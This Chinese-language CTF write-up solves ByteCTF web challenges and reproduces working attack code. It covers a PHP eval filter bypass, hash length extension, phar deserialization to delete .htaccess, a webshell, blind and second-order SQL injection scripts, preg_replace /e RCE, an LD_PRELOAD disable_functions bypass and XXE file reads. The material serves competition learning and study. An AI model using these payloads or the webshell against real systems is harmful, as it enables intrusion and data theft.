ByteCTF_WEB

终于拿到了XCTFfinal的资格 队友都太强了。
icloudmusic的wp暂无法公开。
其他部分wp见

1
https://xz.aliyun.com/t/6324

boringcode

代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
function is_valid_url($url) {
if (filter_var($url, FILTER_VALIDATE_URL)) {
if (preg_match('/data:\/\//i', $url)) {
return false;
}
return true;
}
return false;
}

if (isset($_POST['url'])){
$url = $_POST['url'];
if (is_valid_url($url)) {
$r = parse_url($url);
if (preg_match('/baidu\.com$/', $r['host'])) {
$code = file_get_contents($url);
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
echo 'bye~';
} else {
eval($code);
}
}
} else {
echo "error: host not allowed";
}
} else {
echo "error: invalid url";
}
}else{
highlight_file(__FILE__);
}

两个点

  • 域名需要包含baidu.com
  • 绕过正则和过滤将字符串传入eval中执行

第一个点

队友财大气粗直接买了个域名,成功绕过。 (缓缓打出一个?

第二个点

正则只允许我们传入形如 a(b(c())) 的字符串,且最后一个括号内不能有参数。
参考一叶飘零的总结 https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/

但是这题加大了很多难度,过滤了这么些东西/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/
没有et的话所有带get的都不能用了。想getshell几乎不可能了。
再加上的提示。只需要达到文件读取就可以了。

先构造出一个可以读当前目录的payload
echo(readfile(end(scandir('.')))) 可以读取目录中最后一个文件。

现在需要构造一个能产生.的函数。找到这个函数 localeconv() ,会返回一个数组,数组第一项就是 “.”
那么用current(localeconv())取出第一项,发现nt被BAN了,翻手册找到了pos()函数,是current的别名。
那么当前的payload
echo(readfile(end(scandir(current(localeconv())))))
但是flag目录在上层目录,需要用chdir跳转。可以chdir只会返回bool值。我们需要找一个函数接受布尔值并且可以输出”.”
想到了时间有关函数 time() localtime(),
time(true)会返回当前时间戳,但是时间戳的值无法转变为想要的”.”
localtime()返回数组,可以提取出秒数的值,用chr转换为字符串”.” 即在46s时 chr(pos(localtime()))就会返回”.”
但是localtime()内接受布尔参数会报错,陷入僵局。

继续翻手册发现了

localtime第一参数默认是time() ,那我可以用localtime接受time函数,time接受一个bool值。

构造最终payloadecho(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));

把(买的)域名指向到自己的服务器,服务器上放一个文件

1
echo "echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));"

然后发包去访问,需要简单爆破下,只有在时间为某分46秒时可以读到源码

EZCMS

这个题有点难受 没坐上主办方的车 最后用正规解做的
www.zip拿到源码
简单审计,明显的hash长度拓展攻击,老套路了。

1
2
username:admin
password:admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%90%00%00%00%00%00%00%00admina

登陆之后加上cookie fcb0b00520b914c23b9e95db070008ad

继续审计发现一个phar反序列化点。
view.php中

1
$file = new File($file_name, $file_path);

跟进后filepath会进入mime_content_type函数。再加上我们可以控制上传文件的内容,达成一条反序列化链。
两种攻击思路

  • 反序列化调用upload_file函数,上传到其他目录获取shell
  • 重写htaccess内容或者删掉htaccess

第一条路由于使用的是move_uploaded_file,会对tmp文件名检测,在不知道tmp名的情况下无法使用。

走第二条路
直接上反序列化构造脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class File{

public $filename;
public $filepath;
public $checker;

function __construct($filename, $filepath)
{
$this->filepath = $filepath;
$this->filename = $filename;
}
}
class Profile{

public $username;
public $password;
public $admin;
}
$a = new File("altman","altman");
$a->checker = new Profile();
$a->checker->username = "/var/www/html/sandbox/a87136ce5a8b85871f1d0b6b2add38d2/.htaccess";
$a->checker->password = ZipArchive::OVERWRITE | ZipArchive::CREATE;
$a->checker->admin = new ZipArchive();
echo serialize($a);
$phar = new Phar("1.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
?>

构造好后先上传一个简单马,需要绕过黑名单

1
2
3
4
5
6
<?php
$a="syste";
$b="m";
$c=$a.$b;
$d=$c($_REQUEST['a']);
?>

然后将生成的phar上传,利用filter绕过对phar的过滤 (见suctf)

1
http://112.126.102.158:9999/view.php?filename=dd7ec931179c4dcb6a8ffb8b8786d20b.txt&filepath=php://filter/resource=phar://sandbox/a87136ce5a8b85871f1d0b6b2add38d2/dd7ec931179c4dcb6a8ffb8b8786d20b.txt

触发反序列化。删掉htaccess。此时切记不要访问upload.php,否则会重新生成htaccess。
直接访问沙盒下第一个上传的php文件,拿到shell。

babyblog

sql注入

扫描发现www.zip拿下源码
审计后发现一个二次注入点,在edit.php中

1
$sql->query("update article set title='$title',content='$content' where title='" . $row['title'] . "';");

title从数据库中取出来后直接拼接进了语句中。
绕过过滤构造语句注入

1
1'^(ascii(substr((select(group_concat(schema_name)) from (information_schema.schemata)),1,1))>1)^'1

ps:其实这里注入数据库没用,需要堆叠注入添加vip账号
贴上队友@glzjin的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import re


import requests


# 1'^(ascii(substr((select(group_concat(schema_name)) from (information_schema.schemata)),1,1))>1)^'1


def main():
get_all_databases("http://112.126.101.16:9999/")



def http_get(url, payload):
result = requests.post(url + "writing.php", data={'title': "1'^(" + payload + ")^'1", 'content': 'fuhei'}, headers={"Cookie": "PHPSESSID=cs04skbivc1g706vka0f76avt4"})
result.encoding = 'utf-8'


r2 = requests.get(url + "index.php", headers={"Cookie": "PHPSESSID=cs04skbivc1g706vka0f76avt4"})


pattern = re.compile(r'edit.php\?id=(\d+)')
result1 = pattern.findall(r2.text)
result = requests.post(url + "edit.php", data={'title': "fuhei", 'content': 'fuhei', "id": result1[0]},
headers={"Cookie": "PHPSESSID=cs04skbivc1g706vka0f76avt4"})
result.encoding = 'utf-8'


result2 = requests.get(url + "edit.php?id=" + result1[0], headers={"Cookie": "PHPSESSID=cs04skbivc1g706vka0f76avt4"})
print(result2.text.find('ascii') == -1)


if result2.text.find('ascii') == -1:
return True
else:
return False



# 获取数据库
def get_all_databases(url):
db_name = ""
db_payload = "select(group_concat(schema_name)) from (information_schema.schemata)"
for y in range(1, 32):
db_name_payload = "ascii(substr((" + db_payload + "),%d,1))" % (
y)
db_name += chr(half(url, db_name_payload))
print(db_name)
print("值为:%s" % db_name)

# 二分法函数
def half(url, payload):
low = 0
high = 126
# print(standard_html)
while low <= high:
mid = (low + high) / 2
mid_num_payload = "%s > %d" % (payload, mid)
# print(mid_num_payload)
# print(mid_html)
if http_get(url, mid_num_payload):
low = mid + 1
else:
high = mid - 1
mid_num = int((low + high + 1) / 2)
return mid_num


if __name__ == '__main__':
main()

这里搭了一波车,没有堆叠添加vip账户,而是拿了一个其他队伍的vip用户登陆上去了。

命令执行

有vip后进入replace
发现一处可以命令执行的地方

1
$content = addslashes(preg_replace("/" . $_POST['find'] . "/", $_POST['replace'], $row['content']));

服务器版本php5.3,可以用/e修饰符来rce。
写成脚本交互

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
import base64


cookie={
"PHPSESSID":"pe6c91i1bbks4k21r5endcfh41"
}
def write():
url="http://112.126.101.16:9999/edit.php"
data={
"title":"glzjin",
"content":'glzjin',
"id":"2630"
}
r=requests.post(url=url,data=data,cookies=cookie)
return r.content



url = "http://112.126.101.16:9999/replace.php"


command = """eval(phpinfo();)"""


payload = "------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"regex\"\r\n\r\n1\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"find\"\r\n\r\nglzjin/e\x00\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nglzjin\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"replace\"\r\n\r\n" + command +"\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n2630\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--"
headers = {
'content-type': "multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW",
'Cookie': "PHPSESSID=pe6c91i1bbks4k21r5endcfh41",
'cache-control': "no-cache",
}
write()
response = requests.request("POST", url, data=payload, headers=headers)

print(response.text)

command处即可执行命令。查看了phpinfo发现需要绕过disable_functions。
又上了de1ta的车。tmp目录下发现了de1ta.so。省的再上传了,直接使用。
使用没有被BAN的error_Log来绕过disable_functions。

1
command =  """eval('$cmd = "/readflag ";$out_path = "/tmp/altman";$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";putenv("EVIL_CMDLINE=" . $evil_cmdline);$so_path = "/tmp/de1ta.so";putenv("LD_PRELOAD=" . $so_path);error_log("", 1, "example@example.com");echo nl2br(file_get_contents($out_path)); unlink($out_path);')"""


关于bypass可见 https://github.com/l3m0n/Bypass_Disable_functions_Shell
网上分析文章很多。

下面两题搬运自队友@glzjin

RSS

知识点:

  • data:// 伪协议

  • xxe * 代码审计

  • SSRF

步骤: 1、打开靶机,看下功能,直接输入一个 rss,给解析出来。

同时限制了读取的域名。

2、那么这里就用 data:// 伪协议直接传数据进去试试,因为 php 对 data 的 mime type 不敏感,直接写成 baidu.com 就可以过这个 host 检测了。为了方便我这里传 base64 之后的。 参考资料:https://www.jianshu.com/p/80ce73919edb

测试没毛病。

3、别忘了 RSS 也是 XML,那么就存在 XXE 的问题,我们来试试。

参考资料:https://gist.github.com/sl4v/7b5e562f110910f85397 ]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

啊哈,出来了。

4、那么接下来就来读取站点源码试试,注意有尖括号我们需要套一下 php伪协议,转成 base64。

1
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >]>

https://www.zhaoj.in/wp-content/uploads/2019/09/15679528894eb711ac734c1aac15b21ffac79f7857-1024x261.png

5、读取结果 base64 解码一下,得到 index.php 源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
ini_set('display_errors',0);
ini_set('display_startup_erros',1);
error_reporting(E_ALL);
require_once('routes.php');

function __autoload($class_name){
if(file_exists('./classes/'.$class_name.'.php')) {

require_once './classes/'.$class_name.'.php';

} else if(file_exists('./controllers/'.$class_name.'.php')) {

require_once './controllers/'.$class_name.'.php';

}
}

分析下源码,主要是这里有意思,

1
usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));

看到没,直接将 $order 拼到函数体里了。那么这里我们就可以利用这里 RCE 了。 当然这里来源 IP 必须为 127.0.0.1,和上面 routes 里的对上了。 9、来利用那个 XXE 来搞个 SSRF,访问这个页面,rss_url 可以随意传个正常的,order 需要插我们要执行的恶意代码。

得到返回,看到 flag 文件名。

10、读下这个文件。

11、Flag 到手~

icloudmusc